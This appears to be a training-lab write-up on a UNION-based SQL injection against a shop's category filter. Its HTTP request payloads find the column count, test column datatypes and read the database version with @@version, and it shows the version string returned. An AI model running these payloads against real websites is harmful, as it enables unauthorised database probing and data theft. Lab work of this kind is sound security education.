

Lab-7: SQL injection attack, querying the database type and version on MySQL and Microsoft

The Objective of this lab to find the database type and version on MYSQL and Microsoft Database, this lab has SQL Injection Vulnerability in the product category filter and we are going to exploit the product category filter to query the database type and version.

The First Step is to determine the number of columns and its datatype, using the following payload we have determined the number of columns in the database.

GET /filter?category=Pets'**UNION+SELECT+NULL,NULL#** HTTP/2



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LAB Not solved 

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Pets'**UNION SELECT NULL,NULL#**

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Giant Grasshopper

If you are one of those anti-social people who like to sit in a corner and try not to catch anyone's eye, you probably know it doesn't always work. There will always be annoyingly cheery people who think you must be lonely and gatecrash your tranquility with mundane chit-chat. We breed our grasshoppers to an enormously threatening size, and train them to bite using the keyword, 'bite'. This is particularly useful when other pet owners aren't put off by its peculiarities and insist on chatting 'animal' with you. The grasshoppers are surprisingly easy to keep. They will keep your home free of bugs and vermin and need little else to eat. They are slightly jumpy about being taken out on a leash, but with practice, you will find a way to fall in step quite quickly. This particular breed has an exceptionally long lifespan and can be passed down through the generations. The grasshopper hasn't been cat, dog or child tested so we highly recommend

Next step is to determine the columns datatype using the following payload:

GET /filter?category=Pets'**UNION+SELECT+'string','string??'#** HTTP/2

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Pets' UNION SELECT 'string?','string??'#

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Next step is to find the database type using the following payload,

GET /filter?category=Pets'+UNION+SELECT+@@version,'hello'# HTTP/2

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Pets' UNION SELECT @@version,'hello'#

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8.0.35-0ubuntu0.20.04.1

hello
